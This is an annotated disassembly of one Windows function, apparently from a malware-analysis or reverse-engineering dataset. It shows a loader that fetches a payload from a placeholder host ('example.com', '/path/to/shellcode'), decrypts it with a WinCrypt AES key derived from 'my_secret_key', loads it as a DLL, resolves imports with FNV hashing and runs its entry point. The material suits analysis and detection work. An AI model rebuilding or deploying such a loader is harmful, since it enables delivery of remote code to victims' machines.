Function at 0x140001520
Capabilities:
Create new key via cryptacquirecontext
Encode data using xor
Encrypt data using aes via winapi
Encrypt or decrypt via wincrypt
Hash data using fnv
Hash data via wincrypt
Initialize hashing via wincrypt

Disassembly:
push rbp
push rbx
lea rbp, [rsp - 0x4f]
sub rsp, 0xd8
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x2f], rax
movups xmm0, xmmword [str.example.com]
mov eax, dword [0x1400036e0]
lea r9, [rbp - 0x11]
movups xmm1, xmmword [str._path_to_shellcode]
mov dword [rbp + 0xf], eax
lea rdx, [rbp + 0x17]
movzx eax, word [0x1400036e4]
lea rcx, [rbp - 0x51]
movups xmmword [rbp + 0x17], xmm0
mov word [rbp + 0x13], ax
movsd xmm0, qword [0x1400036b8]
movsd qword [rbp + 0x27], xmm0
movups xmm0, xmmword [0x1400036d0]
movups xmmword [rbp - 0x11], xmm1
movups xmmword [rbp - 1], xmm0
call fcn.140001210
movups xmm1, xmmword [rax]
movq rbx, xmm1
mov qword [rbp - 0x59], rbx
test rbx, rbx
je 0x140001907
mov eax, dword [0x1400036f0]
lea rcx, [rbp - 0x39]
movsd xmm0, qword [str.my_secret_key]
mov r9d, 0x18
mov dword [rbp - 0x19], eax
xor r8d, r8d
movzx eax, word [0x1400036f4]
xor edx, edx
psrldq xmm1, 8
mov word [rbp - 0x15], ax
mov qword [rsp + 0xd0], r13
movsd qword [rbp - 0x21], xmm0
movd dword [rbp - 0x41], xmm1
mov dword [rsp + 0x20], 0xf0000000
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
jne 0x140001612
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_in_CryptAcquireContextW___u__n
call fcn.140001010
jmp 0x140001714
mov rcx, qword [rbp - 0x39]
lea rax, [rbp - 0x31]
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov edx, 0x800c
call qword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
jne 0x14000164d
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_in_CryptCreateHash___u__n
call fcn.140001010
jmp 0x140001714
mov rcx, qword [rbp - 0x31]
lea rdx, [rbp - 0x21]
xor r9d, r9d
mov r8d, 0xd
call qword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
jne 0x140001681
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_in_CryptHashData___u__n
call fcn.140001010
jmp 0x140001714
mov r8, qword [rbp - 0x31]
lea rax, [rbp - 0x29]
mov rcx, qword [rbp - 0x39]
xor r9d, r9d
mov edx, 0x6610
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
test eax, eax
jne 0x1400016ba
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_in_CryptDeriveKey___u__n
call fcn.140001010
jmp 0x140001714
mov rcx, qword [rbp - 0x29]
lea rax, [rbp - 0x41]
mov qword [rsp + 0x28], rax
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rbx
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptDecrypt]
test eax, eax
jne 0x1400016f4
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_in_CryptDecrypt___u__n
call fcn.140001010
jmp 0x140001714
mov rcx, qword [rbp - 0x39]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov rcx, qword [rbp - 0x31]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
mov rcx, qword [rbp - 0x29]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
xor edx, edx
lea rcx, str.shellcode.dll
mov r8d, 1
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov r13, rax
test rax, rax
je 0x1400018e8
movsxd rdx, dword [rax + 0x3c]
mov r8, rax
add rdx, rax
mov qword [rsp + 0xc0], r15
mov qword [0x140005718], rax
mov qword [0x140005720], rdx
mov r15d, dword [rdx + 0x90]
add r15, 0xc
add r15, rax
mov ecx, dword [r15]
test ecx, ecx
je 0x1400018a7
mov qword [rsp + 0xf0], rsi
mov qword [rsp + 0xf8], rdi
mov qword [rsp + 0x100], r12
mov qword [rsp + 0xc8], r14
nop
mov r12d, ecx
lea rcx, str.___Importing_module:__s_n
add r12, r8
mov rdx, r12
call fcn.140001010
mov r8, qword [0x140005718]
mov esi, dword [r15 - 0xc]
mov r14d, dword [r15 + 4]
add rsi, r8
add r14, r8
mov rax, qword [rsi]
test rax, rax
je 0x140001873
nop word [rax + rax]
lea rbx, [rax + 2]
add rbx, r8
mov r8d, 0x811c9dc5
mov rax, rbx
movzx ecx, byte [rbx]
test cl, cl
je 0x140001808
nop word [rax + rax]
movzx ecx, cl
lea rax, [rax + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rax]
test cl, cl
jne 0x1400017f0
mov rdx, rbx
lea rcx, str.___Import_function:__s__Hash:__lu_n
call fcn.140001010
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
test rax, rax
je 0x140001848
mov rdx, rax
lea rcx, str.___Found_function_address:__p_n
call fcn.140001010
mov qword [r14], rdi
jmp 0x140001857
mov rdx, rbx
lea rcx, str.____Failed_to_find_function_address_for:__s_n
call fcn.140001010
mov rax, qword [rsi + 8]
add rsi, 8
mov r8, qword [0x140005718]
add r14, 8
test rax, rax
jne 0x1400017d0
mov ecx, dword [r15 + 0x14]
add r15, 0x14
test ecx, ecx
jne 0x140001790
mov r14, qword [rsp + 0xc8]
mov r12, qword [rsp + 0x100]
mov rdi, qword [rsp + 0xf8]
mov rsi, qword [rsp + 0xf0]
mov rbx, qword [rbp - 0x59]
lea rdx, str.DllMain
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r15, qword [rsp + 0xc0]
test rax, rax
je 0x1400018d1
call rax
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
jmp 0x1400018f4
lea rcx, str.Failed_to_find_entry_point_in_shellcode._n
call fcn.140001010
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
jmp 0x1400018f4
lea rcx, str.Failed_to_load_shellcode._n
call fcn.140001010
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov r13, qword [rsp + 0xd0]
jmp 0x140001913
lea rcx, str.Failed_to_retrieve_shellcode._n
call fcn.140001010
xor eax, eax
mov rcx, qword [rbp + 0x2f]
xor rcx, rsp
call fcn.140001c00
add rsp, 0xd8
pop rbx
pop rbp
ret